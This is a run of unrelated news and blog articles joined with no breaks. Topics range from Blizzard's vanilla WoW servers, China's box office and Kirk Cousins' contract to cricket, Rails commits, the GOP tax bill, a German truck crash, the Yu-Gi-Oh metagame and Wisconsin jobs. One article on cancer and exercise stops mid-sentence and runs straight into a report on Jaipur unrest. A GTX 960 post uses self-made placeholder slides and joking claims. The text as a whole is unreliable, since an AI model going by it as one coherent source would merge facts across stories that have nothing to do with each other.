"In a sense, they are also Vanilla World of Warcraft fans," writes admin and project manager Viper. "One of the game developers said that WoW belongs to gaming history and agreed that it should be playable again—at least for the sake of game preservation—and he would definitely enjoy playing again.
"After this meeting, we can affirm that these guys WANT to have legacy WoW servers, that is for sure."
So what's the sticking point? Though Blizzard has retained all the source code for Vanilla WoW, apparently it's not as easy as turning the lights back on.
"In order to generate the server (and the client), a complex build system is being used. It is not just about generating the “WoW.exe” and “Server.exe” files. The build process takes data, models, maps, etc. created by Blizzard and also generates client and server specific files. The client only has the information it needs and the server only has the information that it needs.
"This means that before re-launching vanilla realms, all of the data needed for the build processes has to be gathered in one place with the code. Not all of this information was under a version control system. In the end, whichever of these parts were lost at any point, they will have to be recreated: this is likely to take a lot of resources through a long development process."
Whereas private servers fill in the gaps by trial and error, that's not an attractive option to a purveyor of premium games.
I'm certain legacy servers will appear just as soon as the economic argument can be made. We might have to wait until WoW's expansions finally run out of juice, but after this meeting it's hard to believe Blizzard would let a piece of history disappear for good.China's box office grew by 61 percent in 2010, making it the third-largest box-office market in the world, behind Japan and the U.S.
BEIJING – China's box-office gross sales rose 61 percent in 2010 to $1.47 billion, boosted by Hollywood imports such as Avatar and local hits such as Aftershock, local media said Monday, citing a leading media regulator.
From January through December, China’s moviegoers bought tickets worth 10 billion yuan, up from the 6.2 billion yuan ($908 million) they spent on the movies in 2009, Wang Taihua, director of the State Administration of Radio, Film and Television, told China Daily.
Wang said China made 500 films in 2010, ranking the nation third behind Bollywood and Hollywood in terms of annual film output, according to a story in the state-run English-language newspaper. This was 100 films fewer than SARFT said were made in China in 2009.
Although much of the gain in China’s box office ticket sales came from Hollywood imports such as Avatar -- which grossed $204 million in China alone -- Wang said many Chinese-made films also had been commercial and critical successes, citing director Feng Xiaogang's film Aftershock as an example.
Aftershock – in which a mother and daughter rebuild their relationship 32 years after they were separated by the 1976 Tangshan earthquake – became China’s highest-grossing homegrown film of all time, raking in more than 660 million yuan.
China’s 2010 box office growth coincided with the addition of an average of three new theatrical screens each day, bringing the nation’s total to 5,690 screens in about 1,800 cinemas, Wang said.
The first half of the year got off to a lightning fast start with gross box office sales up 86%, China Film Group data showed. Industry research showed that a disproportionate amount of that sales growth came from the premium paid for increasingly popular 3D screenings of Hollywood imports such as Avatar and Alice in Wonderland.
China’s screen count is far smaller than the 40,000 in nearly 6,000 cinemas that currently serve the U.S., where the population is less than a quarter as large, but 2010 annual gross box office revenue was projected to hit $11 billion – 7.5 times greater than China’s take.
Ranked No. 2 in the world, Japan’s annual 2010 box office gross was expected to be tallied at $2.5 billion. China’s media regulators expect China will overtake Japan in box office sales by 2015."I've watched people die, and I've helped people not die," Morse says of gun violence that he's witnessed.
And it gets worse. The gun extremists are taking advantage of the new Facebook rules enforced to help reduce violence against women. On several John Morse support pages, the NRA/gun trolls are falsely reporting posts and photos as 'porn.' This automatically deletes the photo/post, and can put a Facebook block/suspension on the account.
The trolls were able to get this photo removed. The Facebook message says, 'Your photo was reported for containing nudity or pornography...'
Sinking to a new low, the NRA trolls falsely reported a post by Jane Dougherty, whose sister, Mary Sherlock, a school psychologist, was murdered in the Newton Massacre. Dougherty's post was removed and she was blocked:
I can't blame Facebook. The network has allowed millions of activists, around the world, to get their messages out to the masses, for free. And I applaud the social media giant for taking measurers to help eliminate sexual/extreme violence on their site. I don't know how Facebook will get around this. Perhaps they will fire back by blocking the accounts of anyone who is caught making false reports. These things can be so easily traced. I trust Facebook will find a way.
In the meantime, to support Gun Safety:
Occupy The NRA
Occupy The NRA (Facebook)
A Whole Lot A People For John Morse (Facebook Page)
Moms Demand Acton (For Gun Sense In America)
Here is a CBS video/interview with Senator Morse and a gun enthusiast. (Warning: The hatefulness and ignorance of the latter contains a very high cringe factor)The first thing you notice, once you look a little more closely into the Skins’ attempt to gain the high ground on Kirk Cousins, is that in the video meant to smear the quarterback as unreasonable, team president Bruce Allen repeatedly calls him “Kurt.”
The second thing you notice is that the Skins’ self-proclaimed enormous, generous, record-setting contract offer actually amounts to only $300,000 in new money. The Skins are a joke, and you can stop me if you’ve heard this one before.
Let’s back up. Monday afternoon, the deadline passed for teams to reach contract extensions with players who have been slapped with the franchise tag. It was by that point, after an offseason of fruitless negotiations, more or less expected that no deal would be reached, and Cousins would become the first QB in history to play a second straight year on a franchise tag. What wasn’t expected was that the Skins would immediately go public.
Washington posted a video of Bruce Allen on the team website, and released a statement from Allen that attempted to “clarify our negotiations” with Cousins. What the PR actually tried to do was to signal to fans that the team had offered Cousins the moon, and that his demands had been extravagant. It failed on all fronts.
“Our goal was to sign Kirk to a long-term contract with the final objective of having him finish his career with the Redskins. On May 2, right after the draft, we made Kirk an offer that included the highest fully guaranteed amount upon signing for a quarterback in NFL history ($53 million) and guaranteed a total of $72 million for injury. The deal would have made him at least the second highest-paid player by average per year in NFL history. But despite our repeated attempts, we have not received any offer from Kirk’s agent this year. Kirk has made it clear that he prefers to play on a year-to-year basis.”
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Well, no. What Cousins preferred was to receive an offer anywhere close to what he’d get in free agency, which he hasn’t been allowed to test for two straight offseasons thanks to the exclusive franchise tag.
The deal claimed by the Skins is painted as a five-year extension, with $53 million guaranteed. That sounds great! Unless you consider what Cousins is basically guaranteed already.
Cousins will make $23.9 million on the franchise tag in 2017. (And while the Skins purposefully didn’t make this clear, their $53M guarantee includes that franchise tag guarantee they’re already committed to.) In 2018, to keep him from leaving, the Skins have the option of franchising him again, or, more realistically, giving him the transition tag, which would pay $28.8 million. The franchise tag this season and the transition tag next season amount to $52.7 million. That’s just $300,000 shy of the $53 million Washington offered and is touting as the highest-ever guarantee for a QB.
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And about those later, non-guaranteed years in the extension the Skins were proposing. The Washington Post’s Mike Jones has some details, and it sounds like a pretty insulting offer.
The proposal also called for Cousins to essentially play for less in the seasons of 2019 through 2022. His average salary would have been in the low $20-million range, one person with knowledge of the offer said, during years that could be considered his prime.
To follow this to its logical conclusion, the Skins offered Cousins an extra $300,000 if he would only commit to trapping himself in four extra, non-guaranteed seasons of below-market salary. Then they went and bragged about their offer, as if their fans wouldn’t see through it.
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Whether you believe Cousins is worth $20M, or $25M, or even $30M a year, there are teams out there who do. If he’s allowed to hit free agency next year, San Francisco or Cleveland or some other QB-desperate team is going to give him the monster contract he wants (and that he’d have already been offered and signed if not for the existence of the franchise tag). The Skins know this. They’re just not sure if they want to be the ones to give him that much money, and would rather go year-to-year as long as possible before having to decide. But in doing so, and inexplicably trying to smear Cousins as ungrateful for rejecting their feeble offer, they’ve made pretty damn sure that he won’t want anything to do with Washington once the choice is his.
And then, after all this, a Skins spokesperson was forced to claim that we only misheard Bruce Allen call Cousins “Kurt” because of his accent. This team is incredible, both in the sense that their incompetence never fails to astonish, and in the more literal sense that that nothing they say is credible.Derbyshire have become the first English county to employ a specialist T20 head coach. Contemporary thinking, though, has rarely seemed more of a throwback as they have turned to John Wright, the former New Zealand Test batsman, who first set foot in Derbyshire nearly 40 years ago.
Wright, 62, is steeped in experience with coaching spells for India for five years from 2000 and his native New Zealand as well as guiding Mumbai Indians to the IPL title in 2013. He currently has a scouting role with Mumbai Indians.
Specialist T20 coaches have been logistically unappealing in England because the NatWest Blast has stretched over three months of the season. But the competition is back in a tighter block for 2017 and Derbyshire have been quick to take advantage.
After a dismal 2016 season in which poor T20 form was allied to a failure to win a single match in the second division of the Championship, they now hope that Wright's know-how, and love for the area, can bring a change of fortune in the shortest format.
Chris Grant, Derbyshire's chairman, said: "We're delighted to secure a coach of John's quality and experience for this crucial role. It's a unique position amongst the 18 counties in England, but it is not uncommon amongst teams in the major international Twenty20 competitions like the Big Bash, IPL and CPL.
"It's a high-priority that we improve our Twenty20 performances and the new model allows John to give the NatWest T20 Blast competition his complete focus."
Wright, who scored almost 15,000 runs for Derbyshire between 1977 and 1988, will join them in mid-June.
Derbyshire have already looked backwards in an attempt to move forwards. Kim Barnett, a former captain a generation ago, is their new director of cricket and has trust in Wright's methods.
"We could not have secured anybody with higher pedigree than John to fill this new role," Barnett said. "He has won the IPL with the Mumbai Indians, been an international coach and was a great player at Derbyshire.
"I could not be more pleased to get him back on board here and work with him. He is a fantastic strategist and will give us a lot of expertise technically and tactically."
Wright's genial manner enabled him to cope with the cultural challenge of being India's first overseas coach.
But it is his scouting knowledge that will also appeal to Derbyshire as they seek value from their overseas signings and, indeed, seek to identify unproven English players with T20 potential. Barnett, who does not delegate without good reason, will give Wright total freedom to design his squad as he sees fit.Welcome to the Sunday Giveaway, the place where we giveaway a new Android phone each and every Sunday!
Congratulations to last week’s Samsung Galaxy S8 Giveaway winner: Anthony P. (USA)
This week we have partnered with Rhino Shield to give away a brand new Samsung Galaxy S8 Plus and a Rhino Shield Bumper Case!
Samsung’s new Galaxy S8 Plus features a beautiful 18.5:9 Infinity display, a powerful Snapdragon 835 processor, 4 GB of RAM, a 3,500 mAh battery, as well as a 12 MP rear-facing camera with an f/1.7 aperture. One of the standout features on the Galaxy S8 and S8 Plus this year is Bixby, Samsung’s new AI assistant that even has its own hardware button.
Related Articles Samsung Galaxy S8 and Galaxy S8 Plus review: Almost to Infinity Samsung Galaxy S8 AKG earbuds: how good are they?
Enter giveaway
Samsung Galaxy S8 Plus International Giveaway!
More giveaways:
Winners GalleryNVIDIA will officially introduce GeForce GTX 960 on January 22nd.
GEFORCE GTX 960: Maxwell Hits the Sweet Spot
I have just got off the line with Jen Hsun, and I have some fresh news.
I can confirm that the new mid-range GeForce graphics card is planned for next week, the rumors about earlier release were inaccurate. The NDA ends on January 22nd (6:00 AM PST), so it’s still more than a week away!
While I technically have almost everything to make this post happen, the data Jen Hsun gave us unfortunately does provide any information about ROP and TMU count. In fact I’m not even sure if GPU-z reports this value correctly, so be aware this is the only uncertain thing in this post.
NVIDIA GeForce GTX 960 is essentially a double GTX 750, or half GTX 980 if you wish. The GTX 960 is equipped with GM206 processor, which has 1024 CUDA cores. Card is featuring 2GB GDDR5 memory and 128-bit interface. Jen-Hsun told me the efficient memory clock is 9.3 GHz (yes, I’m serious). NVIDIA is now advertising memory clock speed after increasing it by 33% (the bandwidth is higher due to 3rd Gen. colour compression (delta compression) algorithm. Soon, the only real thing in NVIDIA materials will be the name of the card.
The base clock speed is 1127 MHz (2.3 TFLOPS), while the boost speed is 1178 MHz. The memory bandwidth is 112 GB/s.
This new graphics card will consume 120W through single 6-pin power connector. According to NVIDIA, GTX 960 will be a perfect card for MOBA (Multiplayer online battle arena) gaming, consuming very low power and generating inaudible noise.
Overclocker’s Dream
The last thing to say about GTX 960 is its overclocking potential. NVIDIA claims this card is capable of running close to 1.5 GHz, which is even better of what GM204 has to offer. Maxwell series are exceptionally good overclockers.
The GTX 960 Slides TM
While I’m still waiting for the fax from Jen-Hsun, I had to came up with a placeholders for this post, Thus, I made my own slides, which are identical to what you’re going to see in just 7 days.
NVIDIA GeForce GTX 960 Specifications GeForce GTX 960 GeForce GTX 970 GeForce GTX 980 GPU 28nm GM206 28nm GM204 28nm GM204 CUDA Cores 1024 1664 2048 TMUs 64 TBC 104 128 ROPs 32 TBC 64 64 Core clock 1127 MHz 1050 MHz 1127 MHz Boost Clock 1178 MHz 1178 MHz 1216 MHz Memory Clock 1753 MHz 1753 MHz 1753 MHz Memory Bus 128-bit 256-bit 256-bit Memory Size 2GB 4GB 4GB Bandwidth 112 GB/s 224 GB/s 224 GB/s DirectX 11.3/12 11.3/12 11.3/12 TDP 120W 148W 165W Power Connectors 1x 6-pin 2x 6-pin 2x 6pin Display Outputs 2x DL-DVI,HDMI 2.0, DP 1x DVI-I, 1x HDMI 2.0, 3x DP 1x DVI-I, 1x HDMI 2.0, 3x DP MSRP TBC 329 USD 549 USD
The buzz words
Something I found in the bin as well:
BUILT FOR DX12 Rasterizer Ordered Views Typed UAV Load Volume Tiled Resources Conservative Raster
AN UNPRECEDENTED SUCCESS 1.3 MILLION Gamers Tuned in to Game24 1 MILLION~ GTX 980 / 970’s Sold 100 MILLION Hours played on Maxwell
Source: NVIDIA
by WhyCry & SMiThaYe Tweet
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NVIDIA Maxwell GM200 pictured!
Please enable JavaScript to view the comments powered by Disqus.Studies of colon and breast cancer patients link healthy habits to better outcomes amid slew of research on lifestyle and cancer
A healthy diet and exercise could reduce colon cancer patients’ chance of death and simply walking could improve survival rates for breast cancer survivors, studies presented at the world’s largest cancer conference have found.
Prostate cancer trial stuns researchers: 'It's a once in a career feeling' Read more
A study of nearly 1,000 colon cancer patients found that those who exercised regularly, ate |
property destroyed by Mob. pic.twitter.com/ONm370Uzdj — Mukul Singh (@MSeangh) September 8, 2017
A little after midnight, police confirmed the death of a civilian, Aadil, and said the cause will be ascertained after post-mortem.
The walled city encompasses Jaipur’s oldest areas falling within a wall built in 1727 built by then-king Maharaja Jai Singh II. Ramganj has a large Muslim population and is considered a sensitive area where tempers can flare very quickly.
According to locals, Friday’s clash erupted after a Muslim woman was allegedly hit by a cop with a baton while evicting illegal street vendors around 8 pm.
“The law and order situation is stable now. We are taking the help of the public and community leaders to maintain peace in the area,” Jaipur police commissioner Sanjay Agarwal told HT.
“Curfew has been imposed till further orders in Manak Chowk, Subhash Chowk, Galta Gate and Ramganj police station areas of the city,” Agarwal told news agency IANS.
According to sources, internet connection in various parts of the city could also be suspended to prevent the spread of rumours.
First Published: Sep 09, 2017 08:19 ISTWith a pronounced independent streak to match his political alignment, Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE of Vermont may be another headache for Democrats trying to cobble together 60 votes for healthcare reform in the coming weeks.
At a time when most attention is being paid to the Senate’s other, more well-known Independent, Connecticut’s Joe Lieberman, it is Sanders who could end up playing spoiler for Majority Leader Harry Reid Harry Mason ReidBottom Line Brennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview MORE (D-Nev.). As Reid struggles to find 60 votes that will unite on procedural votes, his party’s centrists are pulling the healthcare bill politically rightward while Sanders is staking out a far-left position.
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Asked if he will support Democrats on procedural votes once the healthcare bill hits the Senate floor, Sanders was repeatedly noncommital, twice telling The Hill that he intends to push for a bill that includes a government-run, public-option insurance component and refusing to guarantee his support on cloture votes.“All I’ll say for now is that I want the strongest public option possible in the bill,” Sanders said. “Beyond that, we’re going to have to look at what develops.”Pressed further, Sanders’s office also offered no guarantees.“He is pleased that Sen. Reid has said that the bill will include a public option and he looks forward to seeing the detailed legislation,” said a Sanders spokesman.Sanders caucuses with Democrats, and usually falls in line with the party’s philosophy. But like Lieberman, he can stray on a whim — and on healthcare, his insistence on a public option may force Reid to reach out for another Republican vote even if all other Democrats support procedural votes.In recent years, Sanders has bucked Democrats on procedural votes for the Foreign Intelligence Surveillance Act (FISA), on multiple immigration reform measures and on funding for U.S. troops in Iraq, among other issues. In all, avoting scorecard shows him bucking Democrats on 10 cloture votes in 2007 alone.Democratic leaders say Sanders behaves differently from the party’s other centrists, such as Evan Bayh (Ind.), because Sanders at least usually notifies leadership whenever he intends to cast a procedural vote against leaders’ wishes. Bayh often doesn't.“Bayh surprises us," said one senior Democratic aide. "But we usually know what Sanders is thinking, and he's pretty consistent. We think he'll be with us when it matters."Yet since Sanders usually follows the lead of Democratic leaders, other observers say he is likely simply being stubborn as part of an effort to win some kind of concession for his state, as many senators do.“I'd be surprised if Sanders decided to be a thorn in the leadership's side on healthcare,” said Jennifer Duffy, a senior editor who covers the Senate for. “On the big issues, he is generally with them.”Despite their poor start to the season, Arsene Wenger has not ruled out Manchester United as a title challenger
The Red Devils are currently eight points off the pace set by the Gunners, having taken just five points from their opening four home games.
The recent Old Trafford loss to West Brom was followed on Saturday by a dull home draw against Southampton.
But Wenger believes it is far too early to rule United out of the Premier League race.
The Frenchman said: "It is too early. They are not out of the title race.
"Are Man United out of the title race? No. You cannot rule Man United out today.
"They have big players, big experience and they are a big club.
"The gap is three games basically that is very quick in our league."
Quality squad
Wenger was delighted with the performance of his Arsenal side in the 4-1 victory over Norwich, adding: "We had periods where we were absolutely outstanding, but periods where we suffered as well because Norwich were good. They worked very hard and are a good side.
"We took advantage of them getting tired in the last 20 minutes in a very clinical way, and their goalkeeper made some fantastic saves."
Arsenal's own title credentials will be further tested as they face Liverpool and Manchester United in two of their next three league games, but Aaron Ramsey is confident they can sustain a challenge.
Ramsey said: "That's what we'll be looking to do. We're top of the league at the moment and that's where we want to stay.
"They are the games that every player wants to play in, you want to test yourself against the best. These sort of games are fantastic to play in and I'm sure we'll be looking forward to those games.
"One of the biggest things was the start of the season. We've had to play catch up in recent years and hopefully we can continue to build on this and stay strong until well after Christmas."
Wenger has a wealth of options in midfield, with the return to match fitness of Santi Cazorla following an ankle injuring meaning Ramsey could be rested to the bench against Norwich on Saturday.
The Wales international replaced Mathieu Flamini just before half-time after the French midfielder suffered double vision following a clash of heads with Alex Tettey and is now a doubt for Tuesday night's Champions League game against Borussia Dortmund as a result.
Wenger knows he will need to fully utilise the group if Arsenal are to mount a sustained push for honours in 2014.
"We have a squad that is, number and quality wise, very, very good. After that in January we are not desperate (to buy) now," the Arsenal boss said.
"If there is a good opportunity (to buy), why not? But if you know who is out injured now, they will come back in November, the beginning of December, then you have a really massive squad."
Wenger added: "With the number of competitions involved, everybody thinks they have a chance to play. That is what is the most important.
"As long as you fight for things, everybody keeps the focus."December 13-December 19, 2008 Edition
The Rails team hasn’t been hibernating this week: 50 commits hit the edge branch, from a variety of developers. Here’s my pick of the most interesting and significant new core code for the week.
Rails Metal
If you’ve been keeping in touch with Rails at all, you’ve heard about Metal this week: superfast endpoints inside of your Rails applications that bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Rather than explain Metal in more detail, here are places you can read more about it:
Rack-based Session Stores
A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It’s still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). commit
A related change provides persistent session identifiers for cookie sessions, with API compatibility with the server-side stores. commit
MIME Type Handling
There are a couple of changes to the code for handling MIME types in Rails. First, MIME::Type now implements the =~ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
if content_type && Mime::JS =~ content_type # do something cool end Mime::JS =~ "text/javascript" => true Mime::JS =~ "application/javascript" => true
The other change is that the framework now uses the Mime::JS when checking for javascript in various spots, making it handle those alternatives cleanly. commit commit
Active Record Cleanup
Even though Active Record has been a core part of Rails basically forever, people are still eking out performance and usability gains here and there. This week saw commits to stop generating some useless queries when working with belongs_to associations (commit), give better error messages on failed find_by_foo! calls (commit), fix some association preloading issues (commit and commit), and improve performance with the MySQL adapter (commit).
Odds and Ends
Remember the cleanup for noise in the log files that edge got a couple of weeks ago? Building on that, we’ve now got prettier printing for output from any Gem in the backtrace. commit
If you’re on edge, Rails now enforces the requirement for Mocha 0.9.3 or higher, so that you can run the tests. commit
ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there’s no body to the response or when sending files with send_file. commit
If you want to track down who worked on Rails in the past, it’s gotten easier thanks to a huge data collection and patching effort by Xavier Noria: he went through all of the changelogs and normalized author names, so we don’t have the confusing mash of names, handles, and email addresses in there any more. commitMitch McConnell. Drew Angerer/Getty Images
The Senate Budget Committee on Tuesday voted to move the GOP's massive tax bill to the full Senate, clearing the last procedural hurdle before the whole chamber can debate it.
Republican leaders had been slightly worried when Sens. Ron Johnson and Bob Corker, both members of the committee, said on Monday that they would not vote for the bill, known as the Tax Cuts and Jobs Act, in its current form.
Republicans met on Tuesday to hash out their concerns, and the bill passed the committee on a 12-11 party-line vote.
Despite the committee moving it forward, the bill is not guaranteed to pass on the broader Senate floor.
Senate Majority Leader Mitch McConnell told reporters Tuesday that Senate GOP leadership was still trying to procure enough votes for its massive tax bill.
The bill is being considered under budget reconciliation, a process that allows it to pass the Senate with a simple majority. That means Republicans, who control 52 seats, can afford only two defections, as the vice president would cast a tiebreaking vote.
At a press conference following the Senate Republicans' weekly lunch, attended this week by President Donald Trump, McConnell said that getting 50 Republicans on board to pass the tax bill had been a complicated process.
"It's a challenging exercise," McConnell said. "Think of sitting there with a Rubik's cube trying to get to 50. We do have a few members who have concerns, and we're trying to address them. We know we will not be able to move forward until we get 50 people satisfied."
At least eight Republican senators have expressed serious concerns about some part of the bill.
The White House applauded the legislation's passage in the committee.
"The momentum driving our shared priorities of job growth, economic competiveness [sic], and fiscal responsibility through tax reform is undeniable, and this Administration is encouraged by the progress the Senate has made toward achieving these priorities," the White House press secretary, Sarah Huckabee Sanders, said in a statement.The pioneering Chinese studio also expects a loss of at least $9 million in the first quarter of this year.
Hit by a downturn in local box-office growth, leading Chinese film studio Huayi Brothers Media Co. reported last week that it had suffered its first decline in net profit since going public on the Shenzhen stock exchange eight years ago.
In an annual report released Tuesday, Huayi said net profit for 2016 was RMB 808.1 million ($117 million), down 17 percent from the year prior. The company, which is headed by brothers Wang Zhongjun and Wang Zhonglei, also saw a 9 percent year-on-year slide in its film and entertainment business revenues.
"This year we've experienced substantial regression both in our film box office and our market share," Wang Zhonglei, the company's chief executive, said in an open letter to staff.
Huayi pointed to a major market correction at the Chinese box office as the driving cause of the downturn. After expanding 48 percent in 2015, Chinese movie ticket revenue stalled at just 3.7 percent growth in 2016.
In a separate regulatory filing, the group said its net profit in the first quarter of 2016 was 262.5 million yuan ($38.2 million), but that it expects a loss of at least $9.2 million to $9.9 million in the first quarter of this year.
The profit slide doesn't appear to be putting a damper on Huayi's outward ambitions, however. Last week, the studio said it is looking to expand its collaboration with Robert Simonds’ STX Entertainment, despite the recent clampdown by Beijing regulators on China-Hollywood dealmaking.
"We'd like to renew and deepen our cooperation with STX beyond slate financing," Huayi co-founder and CEO James Wang Zhonglei said in an interview.
Huayi signed a landmark three-year deal with STX in 2015 to co-produce and co-finance most of STX Entertainment’s slate for three years. But that agreement is set to expire in the first quarter of 2018.
Wang said he has held in-depth discussions with STX on further collaboration.One German police officer has been killed and two of her colleagues injured after their car was rammed by a Ukrainian truck. The driver, who was drunk when the accident occurred, is in police custody.
A 48-year-old Ukrainian truck driver rammed a German police car that was waiting for him on the shoulder of the A61 freeway after being alerted by Dutch police, killing one officer and seriously injuring two more. The driver was later apprehended and is currently in police custody, according to the Mönchengladbach police department in the German state of North Rhine-Westphalia.
Authorities say it is unclear whether the driver intentionally rammed the car. If so, he could be charged with murder. The driver, who police say had a high blood alcohol level, is currently being held on charges of reckless driving, negligent homicide and negligent physical injury. The investigation is ongoing. Police are also conducting blood tests to determine whether the man was under the influence of any other drugs.
Read more:
- Drunken train driver halted by German police
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- 'Drunk driver' charged in New Orleans Mardi Gras truck crash
- Pilots arrested in Scotland on intoxication charges
State police cars will be decorated with black ribbons in remembrance of their colleague
Motorist's tip
A motorist in the Netherlands had originally contacted Dutch police after observing the truck weaving as it drove along the highway toward the German city of Koblenz. Dutch authorities, in turn, notified their German colleagues, who dispatched a car to apprehend the truck. The witness, a 40-year-old Dutch man, was behind the truck when it rammed the German officers. He reported that the truck swerved sharply from the left as it approached the police car, pushing it more than 200 meters (657 feet) down the freeway late on Wednesday evening.
Deadly impact
The violence of the impact as the 40-ton truck rammed the parked police car immediately killed one 23-year-old officer in the backseat. The 48-year-old driver of the police car sustained life-threatening injuries and her 22-year-old colleague in the passenger seat suffered severe injuries. Authorities say there was no way for the officers to have known what the driver would do as he approached.
North Rhine-Westphalia's Interior Ministry announced that the state's police cars would be decorated with crapes over the coming days in memory of the deceased officer. Both of the injured officers remain hospitalized.
Now live 04:15 mins. Germany Today | Truck Inspections
Jon Shelton (with dpa)Welcome to Week #9 of the OCG 2017.10 format.
Into the LINK VRAINS.
This report will cover 32 top-performing decks from 7 tournaments that were held in Japan and Indonesia during 25 – 28 November 2017.
New Product Release
LINK VRAINS PACK
Metagame Breakdown
10 SPYRAL: 6 Grinder SPYRAL 4 Mono SPYRAL
4 Zefra: 3 Mono Zefra 1 Predaplant Zefra
3 Burning Abyss
2 Trickstar: 1 Artifact Grinder Kaiju Trickstar 1 Mono Trickstar
1 Artifact Needlefiber
1 Brilliant Venus World Chalice
1 Greener Predaplant Infernoid
1 Infernity
1 Invoked
1 Junk Doppel
1 Kaiju Fluffal
1 Magical Musket
1 Patchwork Yang Zing HERO
1 Performapal Magician
1 Shiranui
1 Windwitch Kaiju Invoked Luna
1 Yang Zing Dinosaur
SPYRAL
SPYRAL is still holding onto the lead, but they no longer have a strong dominance over the competitive scene.
Most of the SPYRAL decks are still running the same build, and are not prepared against the upcoming metagame shift.
Zefra
(This portion was revised to reflect a more accurate playstyle for Zefra.)
While the old Zefra playstyle is reliant on Draconnet to bring out Denglong, First of the Yang Zing, the new Zefra playstyle uses Heavymetalfoes Electrumite and Crystron Needlefiber.
Not only does Heavymetalfoes Electrumite search for a Pendulum Monster Card such as Zefraath, its two Link Arrows allows Zefra to Pendulum Summon two Pendulum Monsters from the Extra Deck. Both Zefraniu, Secret of the Yang Zing and Zefraxi, Treasure of the Yang Zing could then be Pendulum Summoned from the Extra Deck together. Zefraniu would add Zefra Divine Strike from deck to hand.
As Zefraniu is treated as a Tuner through the effect of Zefraxi, Electrum and Zefraniu can then be used to Link Summon Crystron Needlefiber. Crystron Needlefiber would Special Summon a Level 2 Tuner monster. Zefraxi and the Level 2 Tuner would then become Denglong, First of the Yang Zing, and add Nine Pillars of Yang Zing.
On the opponent’s turn, Crystron Needlefiber‘s effect can be used to Special Summon T.G. Wonder Magician to destroy the opponent’s Spell/Trap Card such as SPYRAL Resort or SPYRAL Gear – Big Red. When Nine Pillars negates an opponent’s card or effect activation and destroys Denglong, Denglong would then Special Summon Zefraxi. Wonder Magician’s effect could then be used to perform a Synchro Summon on the opponent’s turn, using itself and Zefraxi to bring out Baxia, Brightness of the Yang Zing. Baxia could then shuffle 1 card on the field back into the deck.
Burning Abyss
Cherubini, Black Angel of the Burning Abyss improves the consistency of Burning Abyss. By sending Cir, Malebranche of the Burning Abyss for the (3) effect, Cir could then revive Dante, Traveler of the Burning Abyss. With Dante limited to 1, having an efficient method to recur Dante becomes crucial for Burning Abyss as it opens up multiple potential plays, and makes bringing out the second or third Beatrice, Lady of the Eternal much easier.
The current popular Burning Abyss build takes a control approach using Skill Drain and Unending Nightmare.
Skill Drain is simply good in the current Monster Effect heavy format.
Against SPYRAL, Unending Nightmare hits SPYRAL Resort and SPYRAL Gear – Big Red, and against Zefra, Unending Nightmare goes for the Pendulum Scale.
Conclusion
The release of LINK VRAINS PACK saw a lot of players switching away from SPYRAL to try out various decks revitalised by the new Link Monsters.
It is too early to tell if SPYRAL would be dethroned. Zefra and Burning Abyss had the element of surprise as no one had an adequate Side Deck prepared against them. We would have to observe the next few weeks to see if SPYRAL could adapt to the metagame shift, and whether Zefra and Burning Abyss are resilient enough to hold their ground.
Across the board, the tournaments in this week’s report have a relatively lower participant count, so the margin of error is wider.Coaching professional soccer is one of the most unstable jobs any person could have. For coaches who prefer some stability in their lives, they might want to look for a job in MLS.
On Monday, Mexican newspaper El Economista put out a study on the tenures of head coaches throughout some of the top leagues across the world. The study considered how long coaches lasted in these leagues from 2002-14. On average, MLS coaches came out on top.
A report in a Mexican paper has MLS at #1 in manager retention; Mex 7th, Brazil last. (Out of 10 leagues researched) pic.twitter.com/NTaP2j1WLh — Kim Tate (@KimTateSports) October 7, 2014
In the report, columns list how many seasons each coach lasted on average and the amount of games the coaches made it through. It is worth noting that the seasons in Argentina, Colombia and Mexico are much shorter than the seasons in the rest of the countries.
Coaches in MLS last more than three times the amount of games that coaches in Mexico do, almost six times longer than coaches in Brazil do.
The study also looked at how many coaches each team has employed since 2002. New England, who have had only three coaches since then (Fernando Clavijo, Steve Nicol, Jay Heaps), are tied for third in terms of utilizing the fewest coachesin that period.
Bottom line: if you want job security as a head coach in professional soccer, come to MLS.Conservatives and progressives are weighing in on Thursday’s employment statistics for Wisconsin.
The state Department of Workforce Development reported that slightly more than 28,000 private sector jobs were created in the state last year. That’s the lowest annual total of Gov. Scott Walker’s three years in office.
Nearly 30,000 jobs were created in 2011, and 34,000 were added in 2012. Approximately 92,000 private-sector jobs have been created under Walker’s watch. At that pace, Wisconsin is poised to add more than 122,000 jobs by the time Walker’s first four-year term ends -- well short of his 2010 campaign promise to create 250,000 private-sector jobs.
DWD officials also reported that the state’s unemployment rate dropped to 5.8 percent. It was 5.9 percent in March.
“I think it’s clear we’re moving in the right direction,” said West Bend Daily News conservative columnist Owen Robinson. “Adding jobs is better than losing them.”
However, Robinson also said he wants to see more jobs created faster and for the jobless rate to fall further.
He also blamed the national economy for holding Wisconsin back. He stated that the country is not adding enough jobs to keep up with the growing population, and that too many people have simply given up looking for work.
“As part of the nation, we face those same headwinds. We’re still in the same nation, we’re still fighting those same things,” Robinson said.
One Wisconsin Now executive director Scot Ross called the employment numbers “another piece of really bad news” for state residents.
“Wisconsin, despite Gov. Walker getting every single thing he wants from tax breaks for rich people and corporations to the biggest cuts to public education in our state’s history (…) the result has been a total failure for the people of Wisconsin,” Ross said.
Ross also criticized Walker’s decision to turn the department of commerce into the quasi-private Wisconsin Economic Development Corporation.
“That agency has been rife with cronyism, corruption and incompetence,” he said.
Ross added that WEDC has funneled money to Walker and Republican donors, and that tax breaks that have been doled out through WEDC have been unproductive.
Editor’s note: The “Week in Review” can be heard each Friday at 8 a.m. on the Ideas Network of Wisconsin Public Radio.The body responsible for scrutinising UK aid, the Independent Commission for Aid Impact (Icai), has completed its first review of the Department for International Development (DfID)'s contribution to improving nutrition.
